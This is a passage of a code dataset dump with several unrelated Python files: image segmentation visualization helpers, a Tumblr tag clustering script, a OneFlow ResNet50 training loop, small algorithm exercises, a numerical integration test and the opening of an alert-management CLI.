six.moves.range(x_num):\n i = x + y * x_num\n if i >= len(imgs):\n pass\n else:\n concatenated_image[y * one_height:(y + 1) * one_height,\n x * one_width:(x + 1) * one_width] = imgs[i]\n return concatenated_image\n\n\ndef get_tile_image(imgs, tile_shape=None, result_img=None, margin_color=None, margin_size=2):\n \"\"\"Concatenate images whose sizes are different.\n\n @param imgs: image list which should be concatenated\n @param tile_shape: shape for which images should be concatenated\n @param result_img: numpy array to put result image\n \"\"\"\n\n def get_tile_shape(img_num):\n x_num = 0\n y_num = int(math.sqrt(img_num))\n while x_num * y_num < img_num:\n x_num += 1\n return x_num, y_num\n\n if tile_shape is None:\n tile_shape = get_tile_shape(len(imgs))\n\n if margin_color is None:\n margin_size = 0\n # get max tile size to which each image should be resized\n max_height, max_width = get_max_height_and_width(imgs)\n # resize and concatenate images\n for i, img in enumerate(imgs):\n img = resize_img_to_sz(img, max_height, max_width)\n if len(img.shape) == 3:\n img = centerize(img, (max_height + margin_size * 2, max_width + margin_size * 2, 3),\n margin_color)\n else:\n img = centerize(img, (max_height + margin_size * 2, max_width + margin_size * 2),\n margin_color)\n imgs[i] = img\n return _tile_images(imgs, tile_shape, result_img)\n\n\ndef get_max_height_and_width(imgs):\n max_height, max_width = np.inf, np.inf\n for img in imgs:\n max_height = min([max_height, img.shape[0]])\n max_width = min([max_width, img.shape[1]])\n return max_height, max_width\n\n\ndef resize_img_to_sz(img, height, width):\n from skimage.transform import resize\n h, w = img.shape[:2]\n dtype = img.dtype\n h_scale, w_scale = height / h, width / w\n scale = min([h_scale, w_scale])\n h, w = int(scale * h), int(scale * w)\n img = resize(img, (h, w), preserve_range=True).astype(dtype)\n return img\n\n\ndef get_new_size(img, multiplier):\n h, w = img.shape[:2]\n h, w = int(multiplier * h), int(multiplier * w)\n return h, w\n\n\ndef resize_img_by_multiplier(img, multiplier):\n from skimage.transform import resize\n dtype = img.dtype\n h, w = get_new_size(img, multiplier)\n img = resize(img, (h, w), preserve_range=True).astype(dtype)\n return img\n\n\ndef label2rgb(lbl, img=None, label_names=None, n_labels=None,\n alpha=0.3, thresh_suppress=0):\n if label_names is None:\n if n_labels is None:\n n_labels = lbl.max() + 1 # +1 for bg_label 0\n else:\n if n_labels is None:\n n_labels = len(label_names)\n else:\n assert n_labels == len(label_names), 'n_labels: {}, len(label_names): {}'.format(n_labels, len(label_names))\n cmap = label_colormap(n_labels)\n cmap = (cmap * 255).astype(np.uint8)\n\n lbl_viz = cmap[lbl]\n lbl_viz[lbl == -1] = (0, 0, 0) # unlabeled\n\n if img is not None:\n img_gray = skimage.color.rgb2gray(img)\n img_gray = skimage.color.gray2rgb(img_gray)\n img_gray *= 255\n lbl_viz = alpha * lbl_viz + (1 - alpha) * img_gray\n lbl_viz = lbl_viz.astype(np.uint8)\n\n if label_names is None:\n return lbl_viz\n\n # cv2 is required only if label_names is not None\n import cv2\n if cv2 is None:\n warnings.warn('label2rgb with label_names requires OpenCV (cv2), '\n 'so ignoring label_names values.')\n return lbl_viz\n\n np.random.seed(1234)\n for label in np.unique(lbl):\n if label == -1:\n continue # unlabeled\n\n mask = lbl == label\n if 1. * mask.sum() / mask.size < thresh_suppress:\n continue\n mask = (mask * 255).astype(np.uint8)\n y, x = scipy.ndimage.center_of_mass(mask)\n y, x = map(int, [y, x])\n\n if lbl[y, x] != label:\n Y, X = np.where(mask)\n point_index = np.random.randint(0, len(Y))\n y, x = Y[point_index], X[point_index]\n\n text = label_names[label]\n font_face = cv2.FONT_HERSHEY_SIMPLEX\n font_scale = 0.7\n thickness = 2\n text_size, baseline = cv2.getTextSize(\n text, font_face, font_scale, thickness)\n\n def get_text_color(color):\n if color[0] * 0.299 + color[1] * 0.587 + color[2] * 0.114 > 170:\n return (0, 0, 0)\n return (255, 255, 255)\n\n color = get_text_color(lbl_viz[y, x])\n cv2.putText(lbl_viz, text,\n (x - text_size[0] // 2, y),\n font_face, font_scale, color, thickness)\n return lbl_viz\n\n\n# noinspection PyTypeChecker\ndef visualize_segmentation(**kwargs):\n \"\"\"Visualize segmentation.\n\n Parameters\n ----------\n img: ndarray\n Input image to predict label.\n lbl_true: ndarray\n Ground truth of the label.\n lbl_pred: ndarray\n Label predicted.\n n_class: int\n Number of classes.\n label_names: dict or list\n Names of each label value.\n Key or index is label_value and value is its name.\n margin_color: RGB list or None\n overlay: True or False\n pred_permutations\n\n Returns\n -------\n img_array: ndarray\n Visualized image.\n \"\"\"\n img = kwargs.pop('img', None)\n lbl_true = kwargs.pop('lbl_true', None)\n lbl_pred = kwargs.pop('lbl_pred', None)\n n_class = kwargs.pop('n_class', None)\n label_names = kwargs.pop('label_names', None)\n margin_color = kwargs.pop('margin_color', [255, 255, 255])\n overlay = kwargs.pop('overlay', True)\n pred_permutations = kwargs.pop('pred_permutations', None)\n\n if kwargs:\n raise RuntimeError(\n 'Unexpected keys in kwargs: {}'.format(kwargs.keys()))\n\n if lbl_true is None and lbl_pred is None:\n raise ValueError('lbl_true or lbl_pred must be not None.')\n if DEBUG_ASSERTS:\n if lbl_true is not None and lbl_pred is not None:\n assert lbl_pred.shape == lbl_true.shape, 'lbl_pred shape and lbl_true shape should match: {}, ' \\\n '{}. Note the image size is {}'.format(\n lbl_pred.shape, lbl_true.shape, img.shape)\n\n # Generate funky pixels for void class\n mask_unlabeled = None\n viz_unlabeled = None\n if lbl_true is not None:\n mask_unlabeled = lbl_true == -1\n # lbl_true[mask_unlabeled] = 0\n viz_unlabeled = (\n np.random.random((lbl_true.shape[0], lbl_true.shape[1], 3)) * 255\n ).astype(np.uint8)\n if lbl_pred is not None:\n lbl_pred[mask_unlabeled] = 0\n # if mask_unlabeled.sum() > 1:\n # import ipdb; ipdb.set_trace()\n\n vizs = []\n for permutation, lbl in zip([None, pred_permutations], [lbl_true, lbl_pred]):\n if lbl is None:\n continue\n # if permutation is not None:\n # permute_labels = np.vectorize(lambda x: pred_permutations[x])\n # else:\n # permute_labels = lambda x: x # identity\n if permutation is not None:\n assert len(permutation.shape) == 1, 'Debug this -- assumed one image here.'\n lbl_permuted = instance_utils.permute_labels(lbl, permutation[np.newaxis, :])\n else:\n lbl_permuted = lbl\n # lbl_permuted = permute_labels(lbl)\n if label_names is not None:\n label_names_permuted = [label_names[pred_permutations[x]] for x in range(len(label_names))]\n else:\n label_names_permuted = None\n if overlay:\n viz = [\n img,\n label2rgb(lbl_permuted, label_names=label_names_permuted, n_labels=n_class),\n label2rgb(lbl_permuted, img, label_names=label_names_permuted,\n n_labels=n_class) if overlay else None\n ]\n viz[1][mask_unlabeled] = viz_unlabeled[mask_unlabeled]\n viz[2][mask_unlabeled] = viz_unlabeled[mask_unlabeled]\n else:\n viz = [\n img,\n label2rgb(lbl_permuted, label_names=label_names_permuted, n_labels=n_class)]\n viz[1][mask_unlabeled] = viz_unlabeled[mask_unlabeled]\n vizs.append(viz)\n\n if len(vizs) == 1:\n return vizs[0]\n elif len(vizs) == 2:\n all_vizs = vizs[0] + vizs[1][1:]\n return get_tile_image(all_vizs, (1, len(all_vizs)), margin_color=margin_color,\n margin_size=2)\n else:\n raise RuntimeError\n\n\ndef visualize_heatmaps(scores, lbl_pred, lbl_true, input_image=None, pred_permutations=None,\n margin_color=(255, 255, 255), n_class=None, score_vis_normalizer=None, channel_labels=None,\n channels_to_visualize=None, margin_size_small=3, margin_size_large=6):\n \"\"\"\n n_labels: for colormap. Make sure it matches the segmentation n_labels if you want it to make sense.\n channels_to_visualize: None == 'all'\n \"\"\"\n use_funky_void_pixels = True\n n_channels = scores.shape[0]\n if n_class is None:\n cmap = np.repeat(np.ones((1, 3)) * 255, [n_channels, 1])\n else:\n cmap = label_colormap(n_class) * 255\n\n heatmaps = []\n heatmaps_normalized = []\n pred_label_masks, true_label_masks = [], []\n colormaps = []\n scores_min_max = (scores.min(), scores.max())\n score_vis_normalizer = score_vis_normalizer or scores.max()\n # for permutation, lbl in zip([None, pred_permutations], [lbl_true, lbl_pred]):\n # if lbl is None:\n # continue\n # if permutation is not None:\n # permute_labels = np.vectorize(lambda x: pred_permutations[x])\n # else:\n # permute_labels = lamba x: x # identity\n # lbl_permuted = permute_labels(lbl)\n # label_names_permuted = permute_labels(label_names)\n channels_to_visualize = channels_to_visualize or range(n_channels)\n for gt_channel in channels_to_visualize:\n matched_channel = pred_permutations[gt_channel]\n single_channel_scores = scores[matched_channel, :, :]\n color = cmap[gt_channel, :]\n pred_label_mask = np.repeat((lbl_pred == matched_channel)[:, :, np.newaxis], 3, axis=2).astype(np.uint8) * 255\n true_label_mask = np.repeat((lbl_true == gt_channel)[:, :, np.newaxis], 3, axis=2).astype(np.uint8) * 255\n if use_funky_void_pixels:\n void_mask = lbl_true == -1\n viz_void = (\n np.random.random((lbl_true.shape[0], lbl_true.shape[1], 3)) * 255\n ).astype(np.uint8)\n true_label_mask[void_mask] = viz_void[void_mask]\n\n heatmap = scores2d2heatmap(single_channel_scores, clims=(0, 1), color=(255, 255, 255)).astype(np.uint8)\n heatmap_normalized = scores2d2heatmap(single_channel_scores, clims=(0, score_vis_normalizer),\n color=(255, 255, 255)).astype(np.uint8)\n colormap = np.ones_like(heatmap) * color\n if channel_labels is not None:\n write_word_in_img_center(colormap, channel_labels[pred_permutations[gt_channel]], font_scale=2.0)\n pred_label_masks.append(pred_label_mask)\n true_label_masks.append(true_label_mask)\n heatmaps.append(heatmap)\n heatmaps_normalized.append(heatmap_normalized)\n colormaps.append(colormap)\n true_label_mask_row = get_tile_image(true_label_masks, (1, len(channels_to_visualize)), margin_color=margin_color,\n margin_size=margin_size_small)\n pred_label_mask_row = get_tile_image(pred_label_masks, (1, len(channels_to_visualize)), margin_color=margin_color,\n margin_size=margin_size_small)\n heatmap_row = get_tile_image(heatmaps, (1, len(channels_to_visualize)), margin_color=margin_color,\n margin_size=margin_size_small)\n heatmap_row_normalized = get_tile_image(heatmaps_normalized, (1, len(channels_to_visualize)),\n margin_color=margin_color, margin_size=margin_size_small)\n colormaps_row = get_tile_image(colormaps, (1, len(channels_to_visualize)), margin_color=margin_color,\n margin_size=margin_size_small)\n\n all_rows = [heatmap_row]\n # all_rows.append(heatmap_row_normalized)\n all_rows += [pred_label_mask_row, colormaps_row, true_label_mask_row]\n\n if input_image is not None:\n input_image_row = get_tile_image([input_image for _ in range(len(channels_to_visualize))],\n (1, len(channels_to_visualize)),\n margin_color=margin_color,\n margin_size=margin_size_small)\n all_rows.append(input_image_row)\n\n return get_tile_image(all_rows, (len(all_rows), 1), margin_color=margin_color, margin_size=margin_size_large)\n\n\ndef scores2d2heatmap(scores_single_channel, clims=None, color=(255, 255, 255)):\n M, N = scores_single_channel.shape\n heatmap = np.repeat(scores_single_channel[:, :, np.newaxis], 3, axis=2).astype(np.float32) # / 255\n if clims is None:\n clims = (heatmap.min(), heatmap.max())\n else:\n clims = (float(clims[0]), float(clims[1]))\n heatmap = (heatmap - clims[0]) / (clims[1] - clims[0])\n heatmap = heatmap * np.array(color).squeeze()[np.newaxis, np.newaxis, :]\n return heatmap\n\n\ndef write_word_in_img_center(img, text, **kwargs):\n r, c = (img.shape[0] // 2), (img.shape[1] // 2)\n write_word_in_location(img, text, r, c, **kwargs)\n\n\ndef write_word_in_location(img, text, r, c, font_face=cv2.FONT_HERSHEY_SIMPLEX, font_scale=0.7, thickness=None):\n thickness = int(round(thickness or font_scale * 2.0 / 0.7)) # make bolder as it gets larger (scale=0.7 <->\n # thickness=2)\n y, x = r, c\n y, x = map(int, [y, x])\n text_size, baseline = cv2.getTextSize(text, font_face, font_scale, thickness)\n color = get_text_color(img[y, x])\n cv2.putText(img, text, (x - text_size[0] // 2, y), font_face, font_scale, color, thickness)\n\n\ndef get_text_color(bg_color):\n \"\"\"\n Decides whether to write on background in white or black based on background color\n \"\"\"\n if bg_color[0] * 0.299 + bg_color[1] * 0.587 + bg_color[2] * 0.114 > 170:\n return (0, 0, 0)\n return (255, 255, 255)\n\n\ndef export_visualizations(visualizations, out_dir, tensorboard_writer, iteration, basename='val_', tile=True):\n if not osp.exists(out_dir):\n os.makedirs(out_dir)\n if tile:\n out_img = get_tile_image(visualizations, margin_color=[255, 255, 255],\n margin_size=50)\n tag = '{}images'.format(basename)\n if tensorboard_writer is not None:\n instanceseg.utils.export.log_images(tensorboard_writer, tag, [out_img], iteration, numbers=[0])\n out_subdir = osp.join(out_dir, tag)\n if not osp.exists(out_subdir):\n os.makedirs(out_subdir)\n out_file = osp.join(out_subdir, 'iter-%012d.jpg' % iteration)\n scipy.misc.imsave(out_file, out_img)\n else:\n tag = '{}images'.format(basename)\n out_subdir = osp.join(out_dir, tag)\n if not osp.exists(out_subdir):\n os.makedirs(out_subdir)\n for img_idx, out_img in enumerate(visualizations):\n if tensorboard_writer is not None:\n instanceseg.utils.export.log_images(tensorboard_writer, tag, [out_img], iteration, numbers=[img_idx])\n out_subsubdir = osp.join(out_subdir, str(img_idx))\n if not osp.exists(out_subsubdir):\n os.makedirs(out_subsubdir)\n out_file = osp.join(out_subsubdir, 'iter-%012d.jpg' % iteration)\n scipy.misc.imsave(out_file, out_img)\n","sub_path":"instanceseg/analysis/visualization_utils.py","file_name":"visualization_utils.py","file_ext":"py","file_size_in_byte":21841,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"564981061","text":"from sklearn import cluster\nimport numpy as np\nimport htmlwrite\nimport random\n\nIMGSIZE = 2000\n\ndef readInData(filename):\n\tpointList = []\n\twith open(filename, 'r') as dataFile:\n\t\tfor line in dataFile.readlines():\n\t\t\trawData = line[1:len(line) - 3]\n\t\t\tlistItem = rawData.split(', ')\n\t\t\tlistItem[0] = float(listItem[0]) / 30\n\t\t\tlistItem[1] = float(listItem[1]) / 30\n\t\t\tlistItem[2] = listItem[2][1:len(listItem[2])-1]\n\t\t\tpointList.append(tuple(listItem[0:3]))\n\treturn pointList\n\ndef reSize(indexList):\n\tif len(indexList) > 0:\n\t\tif len(indexList[0]) == 2:\n\t\t\tpoint, label = zip(*indexList)\n\t\t\tx,y = zip(*point)\n\t\telif len(indexList[0]) == 3:\n\t\t\tx, y, label = zip(*indexList)\n\t\telse:\n\t\t\treturn []\n\telse:\n\t\treturn []\n\tmaxVal = max(x) if max(x) > max(y) else max(y)\n\tspread = IMGSIZE / (maxVal * 2)\n\tavgDist = abs(np.average(np.diff(x + y)))\n\tscaleVal = spread if spread > .02/avgDist else .02 / avgDist\n\tx = [loc * scaleVal for loc in x]\n\ty = [loc * scaleVal for loc in y]\n\tsubtract = min(x) if min(x) < min(y) else min(y)\n\n\tx = [int(loc - subtract + 5) for loc in x]\n\ty = [int(loc - subtract + 5) for loc in y]\n\tpointList = zip(x,y)\n\titemList = zip(pointList,label)\n\tprint(max(x), max(y))\n\tprint(\"avg difference\", avgDist)\n\treturn list(itemList), avgDist\n\ndef visualCluster(indexList, htmlFile):\n indexList, avgDist = reSize(indexList)\n approxClusters = int(len(indexList) * avgDist)\n print(approxClusters, \"Clusters\")\n affinity = cluster.AgglomerativeClustering(n_clusters=300)\n points, labels = zip(*indexList)\n clusters = affinity.fit_predict(points)\n hues = [360/max(clusters) * x for x in clusters]\n litRange = [random.randint(80,95) for x in range(max(clusters + 1))]\n lits = [litRange[x] for x in clusters]\n writeList = list(zip(points, labels, hues, lits))\n \n displayFile = open(htmlFile, \"w\")\n dataFile = open(\"./data.txt\", \"w\")\n displayFile.write(htmlwrite.getTop())\n for entry in writeList:\n try:\n point, label, hue, lit = entry\n x,y = point\n writeStr = \"[\" + str(x) + \", \" + str(y) + \", \"+ '\\\"' + label + '\\\"' + \", \" + str(int(hue)) + \", \" + str(lit) + \"],\\n\"\n displayFile.write(writeStr) \n dataFile.write(\"[\" + str(x) + \", \" + str(y) + \", \"+ '\\\"' + label + '\\\"' + \"],\\n\")\n except(UnicodeEncodeError): \n print(\"Failed to write\")\n \n displayFile.write(htmlwrite.getBottom())\n dataFile.close()\n displayFile.close()\n\ndef rescaleNoRecluster(dataFile, htmlFile):\n\tpointList = readInData(dataFile)\n\tvisualCluster(pointList, htmlFile)\n\tprint(pointList[0])","sub_path":"TumblrTagging/python/reScale.py","file_name":"reScale.py","file_ext":"py","file_size_in_byte":2594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"454480752","text":"import oneflow as flow\nimport argparse\nimport numpy as np\nimport os\nimport time\n\nimport sys\n\nsys.path.append(\".\")\nfrom models.resnet50 import resnet50\nfrom utils.ofrecord_data_utils import OFRecordDataLoader\n\n\ndef _parse_args():\n parser = argparse.ArgumentParser(\"flags for train resnet50\")\n parser.add_argument(\n \"--save_checkpoint_path\",\n type=str,\n default=\"./checkpoints\",\n help=\"save checkpoint root dir\",\n )\n parser.add_argument(\n \"--load_checkpoint\", type=str, default=\"\", help=\"load checkpoint\"\n )\n parser.add_argument(\n \"--ofrecord_path\", type=str, default=\"./ofrecord\", help=\"dataset path\"\n )\n # training hyper-parameters\n parser.add_argument(\n \"--learning_rate\", type=float, default=0.001, help=\"learning rate\"\n )\n parser.add_argument(\"--mom\", type=float, default=0.9, help=\"momentum\")\n parser.add_argument(\"--epochs\", type=int, default=100, help=\"training epochs\")\n parser.add_argument(\n \"--train_batch_size\", type=int, default=32, help=\"train batch size\"\n )\n parser.add_argument(\"--val_batch_size\", type=int, default=32, help=\"val batch size\")\n\n return parser.parse_args()\n\n\ndef main(args):\n\n train_data_loader = OFRecordDataLoader(\n ofrecord_root=args.ofrecord_path,\n mode=\"train\",\n dataset_size=9469,\n batch_size=args.train_batch_size,\n )\n\n val_data_loader = OFRecordDataLoader(\n ofrecord_root=args.ofrecord_path,\n mode=\"val\",\n dataset_size=3925,\n batch_size=args.val_batch_size,\n )\n\n # oneflow init\n start_t = time.time()\n resnet50_module = resnet50()\n if args.load_checkpoint != \"\":\n print(\"load_checkpoint >>>>>>>>> \", args.load_checkpoint)\n resnet50_module.load_state_dict(flow.load(args.load_checkpoint))\n\n end_t = time.time()\n print(\"init time : {}\".format(end_t - start_t))\n\n of_cross_entropy = flow.nn.CrossEntropyLoss()\n\n resnet50_module.to(\"cuda\")\n of_cross_entropy.to(\"cuda\")\n\n of_sgd = flow.optim.SGD(\n resnet50_module.parameters(), lr=args.learning_rate, momentum=args.mom\n )\n\n class Resnet50Graph(flow.nn.Graph):\n def __init__(self):\n super().__init__()\n self.resnet50 = resnet50_module\n self.cross_entropy = of_cross_entropy\n self.add_optimizer(of_sgd)\n self.train_data_loader = train_data_loader\n\n def build(self):\n image, label = self.train_data_loader()\n image = image.to(\"cuda\")\n label = label.to(\"cuda\")\n logits = self.resnet50(image)\n loss = self.cross_entropy(logits, label)\n loss.backward()\n return loss\n\n resnet50_graph = Resnet50Graph()\n\n class Resnet50EvalGraph(flow.nn.Graph):\n def __init__(self):\n super().__init__()\n self.resnet50 = resnet50_module\n self.val_data_loader = val_data_loader\n\n def build(self):\n image, label = self.val_data_loader()\n image = image.to(\"cuda\")\n label = label.to(\"cuda\")\n with flow.no_grad():\n logits = self.resnet50(image)\n predictions = logits.softmax()\n return predictions, label\n\n resnet50_eval_graph = Resnet50EvalGraph()\n\n of_losses, of_accuracy = [], []\n all_samples = len(val_data_loader) * args.val_batch_size\n print_interval = 100\n\n for epoch in range(args.epochs):\n resnet50_module.train()\n\n for b in range(len(train_data_loader)):\n # oneflow graph train\n start_t = time.time()\n\n loss = resnet50_graph()\n\n end_t = time.time()\n if b % print_interval == 0:\n l = loss.numpy()\n of_losses.append(l)\n print(\n \"epoch {} train iter {} oneflow loss {}, train time : {}\".format(\n epoch, b, l, end_t - start_t\n )\n )\n\n print(\"epoch %d train done, start validation\" % epoch)\n\n resnet50_module.eval()\n correct_of = 0.0\n for b in range(len(val_data_loader)):\n start_t = time.time()\n predictions, label = resnet50_eval_graph()\n of_predictions = predictions.numpy()\n clsidxs = np.argmax(of_predictions, axis=1)\n\n label_nd = label.numpy()\n for i in range(args.val_batch_size):\n if clsidxs[i] == label_nd[i]:\n correct_of += 1\n end_t = time.time()\n\n top1 = correct_of / all_samples\n of_accuracy.append(top1)\n print(\"epoch %d, oneflow top1 val acc: %f\" % (epoch, top1))\n\n flow.save(\n resnet50_module.state_dict(),\n os.path.join(\n args.save_checkpoint_path,\n \"epoch_%d_val_acc_%f\" % (epoch, correct_of / all_samples),\n ),\n )\n\n writer = open(\"graph_of_losses.txt\", \"w\")\n for o in of_losses:\n writer.write(\"%f\\n\" % o)\n writer.close()\n\n writer = open(\"graph/accuracy.txt\", \"w\")\n for o in of_accuracy:\n writer.write(\"%f\\n\" % o)\n writer.close()\n\n\nif __name__ == \"__main__\":\n args = _parse_args()\n main(args)\n","sub_path":"resnet50/graph/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":5257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"148160516","text":"\"\"\"\nFind the maximum product of three numbers from an integer array\nReference: https://programmingpraxis.com/2016/09/27/maximum-product-of-three/\n\"\"\"\nimport heapq\n\n\ndef main() -> None:\n \"\"\"Main Function\"\"\"\n arr = [1, 3, -4, -8, 5]\n\n if len(arr) < 3:\n raise ValueError(\"Invalid input as array size is less than 3\")\n H = heapq.nlargest(3, arr)\n L = heapq.nsmallest(2, arr)\n p = H[0] * H[1] * H[2]\n result = None\n if max(H) <= 0:\n result = p\n else:\n result = max(p, max(H) * L[0] * L[1])\n print(\"Max product of 3 numbers in array is %d\" % result)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"contests/praxis/2016_09_27_maximum_product_3.py","file_name":"2016_09_27_maximum_product_3.py","file_ext":"py","file_size_in_byte":635,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"385388314","text":"# --- Python Imports ---\r\nimport numpy as np\r\n\r\n# --- PyFEM Imports ---\r\nfrom cie.fem.numeric import *\r\n\r\n# ---------------------------------------------------------\r\ndef test( function, primitiveFunction, integrator, domain ):\r\n # Test integration\r\n value = integrator( function, domain ) \r\n testValue = primitiveFunction(domain[1]) - primitiveFunction(domain[0])\r\n error = np.abs( value-testValue )\r\n \r\n if error < 1e-15:\r\n print(\"PASS\")\r\n else:\r\n print(\"FAIL \" + str(error))\r\n\r\n # Test cached integration\r\n cache = integrator.createCache( function, domain )\r\n cachedValue = integrator.integrateCached( lambda x: 1.0, cache, domain )\r\n error = np.abs( value-cachedValue )\r\n\r\n if error > 1e-16:\r\n print( \"Cached integration failed! \" + str(error) )\r\n\r\npolynomialOrder = 3\r\n\r\ncoefficients = np.random.rand( polynomialOrder+1 )\r\n#coefficients = np.arange( 1, polynomialOrder+2 )\r\n\r\ndef testPolynomial( t, order=0, coefficients=coefficients ):\r\n if order<polynomialOrder:\r\n return coefficients[order] + t * testPolynomial( t, order=order+1 )\r\n else:\r\n return coefficients[order]\r\n\r\ndef temp( t, order=1, coefficients=coefficients ):\r\n if order<polynomialOrder+1:\r\n return coefficients[order-1]/float(order) + t * temp(t, order=order+1)\r\n else:\r\n return coefficients[order-1]/float(order)\r\n\r\ntestIntegral = lambda t: t*temp(t)\r\n\r\n# ---------------------------------------------------------\r\nintegrator = Integrator( polynomialOrder )\r\ntestDomains = ( (-1.0, 1.0),\r\n (0.0, 1.0),\r\n (1.0, 5.0),\r\n (0.0, 100.0),\r\n (0.1, 0.11),\r\n (np.pi, np.pi**5) )\r\n\r\nfor domain in testDomains:\r\n test( testPolynomial,\r\n testIntegral,\r\n integrator,\r\n domain )","sub_path":"libraries/fem/python/scripts/test/test_integration.py","file_name":"test_integration.py","file_ext":"py","file_size_in_byte":1912,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"322477032","text":"import sys\n\nsys.stdin = open(\"input.txt\",\"r\")\n\nR,C,T = tuple(map(int, sys.stdin.readline().rstrip().split()))\n\nhouse = [[[int(i)] for i in sys.stdin.readline().rstrip().split()] for j in range(R)]\n\ndust = []\ndirection = [(-1,0),(1,0),(0,-1),(0,1)]\n\ndef inRange(a,b):\n if 0<=a<R and 0<=b<C:\n return True\n return False\n\nfor i in range(R):\n if house[i][0][0] == -1:\n dust.append((i,0))\n if len(dust) == 2:\n break\n\ndef DUST(house):\n move = []\n for i in range(R):\n for j in range(C):\n if house[i][j][0] != 0 and house[i][j][0] != -1:\n move.append((i,j))\n\n for k in move:\n count = 0\n point = house[k[0]][k[1]][0]\n for n in direction:\n nextPos = (k[0] + n[0], k[1]+n[1])\n if inRange(nextPos[0],nextPos[1]) and (nextPos not in dust):\n count +=1\n house[nextPos[0]][nextPos[1]].append(point//5)\n house[k[0]][k[1]][0] = point - (point//5) * count\n\n for i in range(R):\n for j in range(C):\n Sum = sum(house[i][j])\n house[i][j] = [Sum]\n\ndef WIND(house):\n first = dust[0]\n # 위쪽 공기청정기\n for i in range(first[0]-1,-1,-1):\n a = house[i][0]\n if i+1 != first[0]:\n house[i+1][0] = a\n for j in range(C):\n a = house[0][j]\n if j == 0:\n house[1][0] = a\n else:\n house[0][j-1] = a\n for i in range(first[0]+1):\n a = house[i][C-1]\n if i == 0:\n house[0][C-2] = a\n else:\n house[i-1][C-1] = a\n for j in range(C-1,0,-1):\n a = house[first[0]][j]\n if j == C-1:\n house[first[0]-1][C-1] = a\n else:\n house[first[0]][j+1] = a\n\n second = dust[1]\n # 아래쪽 공기청정기\n for i in range(second[0]+1,R):\n a = house[i][0]\n if i-1 != second[0]:\n house[i-1][0] = a\n for j in range(C):\n a = house[R-1][j]\n if j == 0:\n house[R-2][0] = a\n else:\n house[R-1][j-1] = a\n for i in range(R-1,second[0]-1,-1):\n a = house[i][C-1]\n if i == R-1:\n house[R-1][C-2] = a\n else:\n house[i+1][C-1] = a\n for j in range(C-1,0,-1):\n a = house[second[0]][j]\n if j == C-1:\n house[second[0]+1][j] = a\n else:\n house[second[0]][j+1] = a\n house[first[0]][1] = [0]\n house[second[0]][1] = [0]\n\nfor t in range(T):\n DUST(house)\n #print(house)\n WIND(house)\n #print(house)\n\nresult = 2\nfor i in range(R):\n for j in range(C):\n result += house[i][j][0]\n\nprint(result)","sub_path":"미세먼지 안녕!.py","file_name":"미세먼지 안녕!.py","file_ext":"py","file_size_in_byte":2669,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"558112245","text":"#!/usr/bin/env python3\n\n\"\"\"\nCreated on 29 Jun 2021\n\n@author: Bruno Beloff (bruno.beloff@southcoastscience.com)\n\nDESCRIPTION\nThe alert utility is used to create, update, delete or find alert specifications.\n\nAlerts take the form of emails. These are sent when a parameter falls below or above specified bounds, or when the\nvalue is null (a null value is being reported, or no reports are available). The alert specification sets these bounds,\ntogether with the aggregation period. One of two types of period may be specified:\n\n* Recurring - a period of a given number of minutes, hours or days. Recurring periods are sampled back-to back.\n* Diurnal - a daily period with given start time and end times. Diurnal periods are sampled immediately after the end\ntime.\n\nIn --find mode, results can be filtered by description, topic, field or email address.\nFinder matches are exact.\n\nSYNOPSIS\nalert.py { -z | [-c CREDENTIALS] { -F | -R ID | -C | -U ID | -D ID } [-d DESCRIPTION] [-p TOPIC] [-f FIELD]\n[-l LOWER] [-u UPPER] [-n { 0 | 1 }] [{ -r INTERVAL UNITS TIMEZONE | -t START END TIMEZONE }] [-j { 0 | 1 }]\n[-s { 0 | 1 }] [-i INDENT] [-v] [-e EMAIL_ADDR] [-g EMAIL_ADDR_1 .. EMAIL_ADDR_N]}\n\nEXAMPLES\nalert.py -vi4 -c super -C -d be2-3-nightime-test -p south-coast-science-dev/development/loc/1/climate -f val.tmp \\\n-u 10 -n 1 -t 16:00 8:00 Europe/London -e bruno.beloff@southcoastscience.com -g jade.page@southcoastscience.com\n\nDOCUMENT EXAMPLE (recurring)\n{\"id\": 85, \"description\": \"test\", \"topic\": \"south-coast-science-demo/brighton-urban/loc/1/particulates\",\n\"field\": \"exg.val.pm2p5\", \"lower-threshold\": null, \"upper-threshold\": 20.0, \"alert-on-none\": false,\n\"aggregation-period\": {\"type\": \"recurring\", \"interval\": 1, \"units\": \"M\", \"timezone\": \"Europe/London\"},\n\"contiguous-alerts\": false, \"json-message\": false, \"creator-email-address\": \"bruno.beloff@southcoastscience.com\",\n\"to\": \"bruno.beloff@southcoastscience.com\", \"cc-list\": [], \"suspended\": false}\n\nDOCUMENT EXAMPLE (diurnal)\n{\"id\": 107, \"description\": \"be2-3-nightime-test\", \"topic\": \"south-coast-science-dev/development/loc/1/climate\",\n\"field\": \"val.tmp\", \"lower-threshold\": null, \"upper-threshold\": 10.0, \"alert-on-none\": false,\n\"aggregation-period\": {\"type\": \"diurnal\", \"start\": \"20:00:00\", \"end\": \"09:50:00\", \"timezone\": \"Europe/London\"},\n\"contiguous-alerts\": true, \"json-message\": false, \"creator-email-address\": \"production@southcoastscience.com\",\n\"to\": \"bruno.beloff@southcoastscience.com\", \"cc-list\": [\"jade.page@southcoastscience.com\"], \"suspended\": false}\n\nSEE ALSO\nscs_analysis/alert_status\nscs_analysis/cognito_user_credentials\n\nBUGS\nThe test-interval field is not currently in use, and is ignored.\n\"\"\"\n\nimport json\nimport sys\n\nfrom scs_analysis.cmd.cmd_alert import CmdAlert\n\nfrom scs_core.aws.data.alert import AlertSpecification\n\nfrom scs_core.aws.manager.alert_specification_manager import AlertSpecificationManager\nfrom scs_core.aws.manager.byline_finder import BylineFinder\n\nfrom scs_core.aws.security.cognito_client_credentials import CognitoClientCredentials\nfrom scs_core.aws.security.cognito_login_manager import CognitoLoginManager\n\nfrom scs_core.client.http_exception import HTTPException, HTTPNotFoundException\n\nfrom scs_core.data.datum import Datum\nfrom scs_core.data.json import JSONify\nfrom 